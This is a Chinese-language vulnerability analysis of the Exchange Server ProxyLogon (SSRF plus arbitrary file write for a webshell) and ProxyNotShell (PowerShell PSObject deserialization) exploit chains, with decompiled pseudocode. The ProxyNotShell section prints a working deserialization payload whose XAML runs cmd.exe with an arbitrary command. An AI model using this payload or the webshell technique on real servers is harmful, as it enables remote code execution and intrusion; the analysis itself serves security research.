ProxyLogon 漏洞分析

简介

ProxyLogon 是Orange披露的Exchange Server的RCE漏洞。它包含两个漏洞CVE-2021-26855(SSRF)和CVE-2021-27065(任意文件写入)。由于这个漏洞不需要认证,所以危害性极大。

漏洞效果:RCE -> SYSTEM权限

漏洞产品:Exchange Server

复现环境

笔者这里搭建了ExchangeServer 2016 CU12进行漏洞复现。操作系统为Windows Server 2016。

影响范围

影响范围过于大,总的来说是没有低于Mar21SU(2021年3月) patch的都会受影响。详细列表的可以查看 MSRC官网

Exchange Server介绍

架构介绍

据Orange博客里介绍,Exchange Server经历了几个大版本的改变,架构也改变了多次。2016/2019的架构基本一致,本文简单来分析一下2016/2019的架构

Exchange 2016/2019主要包含两个部分(Mailbox Rule和Edge Transport Role)。其中Edge Transport Role主要和外网收发邮件有关,不是本文分析的重点。本文主要关注MailBox Role。MailBox Rule也包含两部分: Client access services(以下简称CAS)和Backend Services(以下简称Backend)。其中CAS负责处理用户侧的协议,包括HTTP/POP3/IMAP4/SMTP。后端实现真正的业务逻辑。

这里HTTP协议的前端和后端都部署在了IIS上面。他们分别监听在不同的端口。CAS监听在80和443端口,BackEnd监听在81和444端口。他们都是可以外网访问到的。但是Backend会进行权限检查,只会处理Exchange Server的机器账号的请求。

HTTP Proxy相当于一个反向代理。

漏洞原理

SSRF(CVE-2021-26855)

这里从HTTP请求的开始进行分析。CAS模块的反向代理是ProxyModuleProxyModule选择哪一个handler进行处理的函数是OnPostAuthorizeInternal。httphandler的选择是通过SelectHandlerForUnauthenticatedRequestSelectHandlerForAuthenticatedRequest进行。httphandler选择完成之后就会调用Run方法进行真正的处理。

我们首先看怎么选择的Handler。SelectHandlerForUnauthenticatedRequest函数中是一系列的if条件判断。首先判断的是HttpProxyGlobals.ProtocolType的值,在ecp进程中,该值为ProtocolType.Ecp。这个值是通过配置文件静态设置的,不可以根据http请求改变。在Ecp请求中,主要有3类,出现漏洞的是BEResourceRequestHandler。

BEResourceRequestHandler会调用CanHandle函数判断这个handler能否处理这个请求。一共有两个判断。首先判断BEResource的Cookie值是否设置。

然后调用IsResourceRequest函数判断请求的路径是否属于资源类。例如.js,.jpg,.png等等。如果这两个条件都满足就返回true。

确定了httphandler之后,CAS会调用BeginProxyRequest函数进行反向代理。代理的地址通过GetTargetBackEndServerUrl得到。Host直接从AnchoredRoutingTarget.BackEndServer.Fqdn赋值。

AnchoredRoutingTarget.BackEndServer是通过调用虚函数ResolveAnchorMailbox实现的。ResolveAnchorMailbox方法在BEResourceRequestHandler类中也定义了。如果BEResourceCookie存在的话,就调用BackEndServer.FromString创建一个BackEndServer实例。

FromString方法对input字符串以字符“~”进行分割,然后传入BackEndServer的构造函数。
分隔的两部分直接赋值给了FqdnVersion

最后调用CreateServerRequest创建反向HTTP链接。

PrepareServerRequest还会生成一个机器账户的kerberos ticket,放在HTTP的AuthorizationHeader头中。BackEnd会检测HTTP请求的权限,只有机器账户发出的HTTP请求才会得到处理。

到这就实现了一个SSRF漏洞。造成这个漏洞的根因在于可以通过控制Cookie里的BEResource字段控制反向代理的Host地址。

任意文件写入(CVE-2021-27065)

这里直接放出现问题的地方: 在WriteFileActivity类中可以直接把inputvariable的值写入OutputFileNameVariable制定的文件中。由于没有对文件路径进行检查,故存在任意文件写的漏洞。

下面我们来看如何触发这里。

/ecp/VDirMgmt下可以设置ExternalURL,内容可以用户控制

然后使用reset oab功能可以指定备份的路径。如下,这里指定备份在了C盘的aaa文件里。

点击reset之后,可以看到aaa文件被创建成功。

这里可以选择在exchange server的web目录创建一个webshell。
external URL就会作为文件的一部分内容写进去。

至于为啥调用reset oab这个功能就会触发WriteFileActivity。笔者找到了如下的线索:ecp/DDI目录下有非常多的xaml文件。这应该是通过.NET的Workflow框架实现的功能。xaml文件定义了workflow的每一个步骤。其中ResetResetOABVirtualDirectory.xaml文件就定义了为实现reset oab功能所需要的activities。其中第二步就是调用了WriteFileActivity

利用效果

运行exploit后执行whoami命令,可以看到输出了nt authority\system

引用

ProxyNotShell 漏洞分析

简介

ProxyNotShell 由CVE-2022–41040 和 CVE-2022–41082构成。CVE-2022–41040是SSRF,这个漏洞和ProxyShell的payload的基本相同,唯一的区别就是需要在HTTP Header里面添加认证信息。CVE-2022–41082是Exchange的Powershell后端的反序列化PSObject时的反序列化漏洞,本文主要介绍这个反序列化漏洞。

利用效果: 域环境提权

漏洞产品: Exchange Server

利用条件: 具有域内普通账户用户名密码

影响范围

  • < Exchange 2013 CU23 Nov22SU
  • < Exchange 2016 CU23 Nov22SU
  • < Exchange 2016 CU22 Nov22SU
  • < Exchange 2019 CU12 Nov22SU
  • < Exchange 2019 CU11 Nov22SU

环境搭建

环境搭建比较坑,一开始在Exchange 2019补丁的前一版本进行复现,怎么都触发不了漏洞。后来发现应该是因为笔者在10月份之后更新的Exchange 2019,导致10月初的发布的Emergency Mitigation(EM)更新生效了,IIS会对powershell路径进行过滤。于是笔者尝试关掉EM,并在IIS中删除过滤规则,依然复现不了。之后尝试在Exchange 2016 CU12(一个较老的版本)上进行复现,这个版本没有EM,但是也复现不了。最后笔者下载了Exchange Server 2019 CU11的iso,安装后复现成功。

读者如果想搭建环境复现,需要2步:1.安装Windows Server 2019,并搭建好域控制器;2. 安装Exchange 2019 CU11。具体步骤本文不再赘述,读者可以Google参考其他博客的教程。

背景知识介绍

PSObject

PSObject 是 PowerShell 中的.NET对象、COM对象的代理,PowerShell 中的任何对象都使用 PSObject 进行包装。例如 Get-Process 返回的对象类型为 System.Diagnostics.Process。其实是 PSObjectSystem.Diagnostics.Process的包装。

PSObject 是 ProxyNotShell 反序列化漏洞的基础,漏洞反序列分析会涉及非常多 PSObject 的东西。如果不了解PSObject,很难理解漏洞产生的原因。下面对 PSObject 的内部实现进行介绍。读者如果想了解更详细的内容,可以参考引用中的 about_Types.ps1xml

BaseObjectImmediateBaseObject

BaseObject返回的是被代理的.NET对象,例如上面Get-Process例子中返回的System.Diagnostics.Process就被存储在BaseObject中。ImmediateBaseObject返回的是“直接”的被代理对象,这是因为被代理的对象可能依然是PSObjectImmediateBaseObject返回的就是这个直接被代理的PSObject对象,而BaseObject会一直回溯到最开始被代理的对象。

Base/Adapted/Extended Members

PSObject的成员有三种类型: Base、Adapted和Extended。

  • Base对应的是BaseObject原始的对象成员。
  • Adapted是PowerShell extended type system添加的成员。
  • Extended是通过ps1xml指定或者Add-Member添加的成员。

member的类型

member根据所在的位置可以划分为Base、Adapted和Extended。
根据类型又可以划分为很多种,这里简单列举几个。

  • PSProperty 用来表示BaseObject的field或property。
  • PSScriptProperty 在extended中,记录一段脚本
  • PSCodeProperty 可以用来设置getter和setter。
  • PSMethod 表示BaseObject中的方法
  • PSMemberSet 表示在extended中的任何member的集合

TypeNames

TypeNames代表BaseObject的类的类型。它是一个Collection<String>,保存BaseObject的继承关系。

PSMemberInfo

前面提到的所有的Member都会使用PSMemberInfo这个类进行表示。其中的Name表示这个属性的名字,Value表示属性的类。

PSStandardMember

PSStandardMembersPSObject的特殊的Member。DefaultDisplayPropertySet用来表示在PowerShell中默认显示哪些属性。TargetTypeForDeserialization用来表示在反序列化中应该被反序列化成什么类型。

PSRP协议

当远程使用PowerShell进行连接时,所使用的协议就是PSRP协议。PSRP协议会在Client端和Server端之间传递Powershell类。通过网络传递类的方式就是把类进行序列化和反序列化。如上面所说,PowerShell中所有的.NET类都会由PSObject进行代理。因此PSRP会围绕PSObject进行序列化和反序列化。

.NET有一套序列化和反序列化的机制,例如 BinaryFormatter, XMLFormatter 等等。PSRP这里实现的序列化和反序列化机制和他们不同。详细的序列化和反序列化可以参考 MS-PSRP 协议文档2.2.5节。序列化/反序列化大致分为三类来介绍。

Primitive Type

Primitive Type包括String, Character, Boolean, Signed Int, Float等编程语言常见的类型。例如Signed Int的一个实例如下。

1
<I32>-2147483648</I32>

还包括GUID, URI, Version, XML Document等类型。例如URI的一个实例如下。

1
<URI>http://www.microsoft.com/</URI>

Complex Object

Complex Object由<Obj>来表示,它里面可以包括5种类型的子实例。

  • Type names(用<TN><TNRef>表示)
  • <ToString>方法
  • Primitive Types 的实例或 Known Container(如Stack、List、Queue)
  • Adapted Properties (用<Props>表示)
  • Extended Properties(用<MS>表示)。

Custom Converter

前面提到的两种序列化方式可以序列化大部分的 PSObject, 但是PowerShell也支持通过自定义的Converter来进行更复杂的序列化和反序列化。使用这个方式需要在types.ps1xml文件中添加 TargetTypeForDeserialization 属性,反序列化之后的类型。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<Type>
<Name>Deserialized.System.Net.IPAddress</Name>
<Members>
<MemberSet>
<Name>PSStandardMembers</Name>
<Members>
<NoteProperty>
<Name>TargetTypeForDeserialization</Name>
<Value>Microsoft.PowerShell.DeserializingTypeConverter</Value>
</NoteProperty>
</Members>
</MemberSet>
</Members>
</Type>

PowerShell自带了几种Converter,例如ConvertViaParseMethod通过调用目标类型的 Parse 方法,ConvertViaConstructor通过调用构造函数,ConvertViaCast通过cast。

在Exchange Server中,自定义了Microsoft.Exchange.Data.SerializationTypeConverter。这个Converter其实是对BinaryFormatter的包装,通过BinaryFormatter来进行序列化和反序列化。

PSRP对象反序列化过程

反序列化逻辑在InternalDeserializer类的ReadOneObject中实现,伪代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
object ReadOneObject(out string streamName)
{
bool flag
object obj = this.ReadOneDeserializedObject(streamName, flag);
if(obj)
{
if(!flag)
{
Type targetTypeForDeserialization = obj.GetTargetTypeForDeserialization(this._typeTable);
if(targetTypeForDeserialization)
{
object obj2 = LanguagePrimitives.ConvertTo(obj, targetTypeForDeserialization);
return obj2;
}
}
}
}

大体逻辑为:

  1. 通过ReadOneDeserializedObject进行简单的反序列化
  2. 如果不是primitive type,就尝试调用ConvertTo转换成目标类型(targetTypeForDeserialization)的对象。

ReadOneDeserializedObject

首先看一下ReadOneDeserializedObject的实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
object ReadOneDeserializedObject(out string streamName, out bool isKnownPrimitive)
{
isKnownPrimitive = false;
if(this.IsNextElement("Nil"))
{
return null;
}
if(this.IsNextElement("Ref"))
{
.....
}
if(KnownTypes.GetTypeSerializationInfoFromItemTag(this._reader.LocalName))
{
isKnownPrimitive = true;
return this.ReadPrimaryKnownType();
}
if(this.IsNextElement("Obj"))
{
return this.ReadPSObject();
}

}

逻辑为如果是Nil,返回null;如果为Ref,就返回引用的之前的对象;如果是Primitive类型,就返回Primitive类型;如果是Obj,就调用ReadPSObject方法返回对象。

下面来看一下ReadPSObject方法的实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
PSObject ReadPSObject()
{
PSObject psobject = this.ReadAttributeAndCreatePSObject();
while(...iter util end...)
{
if(this.IsNextElement("TN") || this.IsNextElement("TNRef"))
{
this.ReadTypeNames();
}
else if(this.IsNextElement("Props"))
{
this.ReadProperties(psobject);
}
else if(this.IsNextElement("MS"))
{
this.ReadMemberSet(psobject);
}
else if(this.IsNextElement("ToString"))
{
......
}
else
{
object obj = null;
TypeSerializationInfo tag = KnownTypes.GetTypeSerializationInfoFromItemTag(this._reader.LocalName);
if(tag)
{
obj = this.ReadPrimaryKnownType(tag);
}
else if(this.IsKnownContainerTag(containertype))
{
obj = this.ReadKnownContainer(containertype);
}
else if(this.IsNextElement("obj"))
{
obj = this.ReadOneObject();
}

if(obj)
{
psobject.SetCoreOnDeserialization(obj);
}
}
}
return psobject;
}

GetTargetTypeForDeserialization

下面看GetTargetTypeForDeserialization的实现。GetTargetTypeForDeserialization会尝试寻找PSStandardMember里面的TargetTypeForDeserialization属性。正如前面所说,TargetTypeForDeserialization用来表示反序列化的目标类型。

查找的第一步是寻找通过调用TypeTableGetMemberDelegate方法找到PSStandardMembser,这一步是根据this的类型和typeTable(从types.ps1xml加载)查找。

如果返回的结果不为null,就生成了一个新的类PSMemberInfoIntegratingCollection,构造函数的参数分别为刚才返回的结果,以及PSObject.GetMemberCollection返回的结果。然后通过[]运算符来查找TargetTypeForDeserialization属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Type GetTargetTypeForDeserialization(TypeTable backupTypeTable)
{
PSMemberInfo psstandardmember = this.GetPSStandardMember(backupTypeTable, "TargetTypeForDeserialization");
if(psstandardmember != null)
{
return psstandardmember.Value as Type;
}
return null;
}
PSMemberInfo GetPSStandardMember(TypeTable backupTypeTable, string memberName)
{
PSMemberInfo psmemberInfo = null;
TypeTable typeTable = (backupTypeTable != null) ? backupTypeTable : this.GetTypeTable();
if (typeTable != null)
{
PSMemberSet psmemberSet = PSObject.TypeTableGetMemberDelegate<PSMemberSet>(this, typeTable, "PSStandardMembers");
if (psmemberSet != null)
{
psmemberSet.ReplicateInstance(this);
psmemberInfo = new PSMemberInfoIntegratingCollection<PSMemberInfo>(psmemberSet, PSObject.GetMemberCollection(PSMemberViewTypes.All, backupTypeTable))[memberName];
}
}
if (psmemberInfo == null)
{
psmemberInfo = (this.InstanceMembers["PSStandardMembers"] as PSMemberSet);
}
return psmemberInfo;
}

下面看一下PSObject.GetMemberCollectionPSMemberInfoIntegratingCollection。由于代码太长,笔者这里不再贴出来,有兴趣的读者可以用dnspy查看反编译后的代码,下面简单介绍一下这俩部分的作用。PSObject.GetMemberCollection是一个静态方法,作用是返回一个函数委托的集合(collection)。集合中的函数包含了用于获取对象的adapted/extended属性。PSMemberInfoIntegratingCollection的作用的是把PSStandardMembers和函数委托的集合揉合在一块,方便查找。即后面的[]运算符会先在PSStandardMembers中查找,然后通过调用函数委托的形式查找。

因此这里就会留下一个问题,即可以通过extended或adapted属性自定义一个Type,让GetTargetTypeForDeserialization返回自定义的类型,进行反序列化。

LanguagePrimitives.ConvertTo

反序列化的第三步是调用LanguagePrimitives.ConvertTo方法把obj反序列化成对应的类。LanguagePrimitives.ConvertTo主要调用LanguagePrimitives.FigureConversion寻找convert的方法。其核心逻辑如下,分别通过反射来检查是否能够通过Parse、构造函数、Cast等方式来进行convert,以及自定义的converter。

漏洞分析

首先从poc看起,最核心的反序列化payload如下。这一段payload是序列化后的PSObject。可以看到最外层定义了一个Object。MS里又定义了一个Obj,类型为System.ServiceProcess.ServiceController。其中包含了一些props属性,属性中又包含一个对象,名字为TargetTypeForDeserialization

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<Obj RefId="13">
<TN RefId="0">
<T>System.Management.Automation.PSCustomObject</T>
<T>System.Object</T>
</TN>
<MS>
<S N="N">-Identity:</S>
<!--Object type section-->
<Obj N="V" RefId="14"> [1]
<TN RefId="2">
<T>System.ServiceProcess.ServiceController</T>
<T>System.Object</T>
</TN>
<ToString>System.ServiceProcess.ServiceController</ToString>

<Props>
<S N="Name">Type</S>
<Obj N="TargetTypeForDeserialization"> [2]
<TN RefId="2">
<T>System.Exception</T>
<T>System.Object</T>
</TN>
<MS>
<BA N="SerializationData">AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWFya3VwLlhhbWxSZWFkZXIEAAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA>
</MS>
</Obj>
</Props>

<S>
<![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider x:Key="LaunchCalch" ObjectType="{{x:Type Diag:Process}}" MethodName="Start"><ObjectDataProvider.MethodParameters><System:String>cmd.exe</System:String><System:String>/c {CMD}</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>]]>
</S>

</Obj>
</MS>
</Obj>

反序列化的过程是递归的,从高层往下一层层反序列化。首先在[1]反序列化的过程中,[2]会先被反序列化。下面看一下[2]被反序列化的过程,简称obj2。obj2的类型为System.Exception。在types.ps1xml中TargetTypeForDeserialization中属性为System.Exception,因此GetTargetTypeForDeserialization返回System.Exception类型。

System.Exception又定义了Converter为Microsoft.Exchange.Data.SerializationTypeConverter。因此会被其反序列化。这里的Payload为System.UnitySerializationHolder序列化之后的内容。Type被序列化之后就会成为System.UnitySerializationHolder。因为System.UnitySerializationHolder又在Exchange Server的BinaryFormatter的白名单里,所以可以被反序列化。这样obj2反序列化之后是类型为Type的类。

这里被序列化之后的TypeXamlReader,了解dotnet反序列化的读者应该对这个很熟悉。

然后是在[1]处进行反序列化,简称obj1。在反序列化过程中由于ServiceController在types.ps1xml中没有定义TargetTypeForDeserialization属性。根据前面的介绍,反序列化会从obj中寻找TargetTypeForDeserialization属性,这时就会返回XamlReader。下一步在ConvertTo中,通过反射会找到XamlReaderParse方法,然后就会调用Parse方法进行反序列化。Parse的参数可以控制,因此可以写入执行任意命令的反序列化payload。

攻击效果

运行Exp之后效果如下,可以以w3wp.exe执行的权限执行任意命令。

引用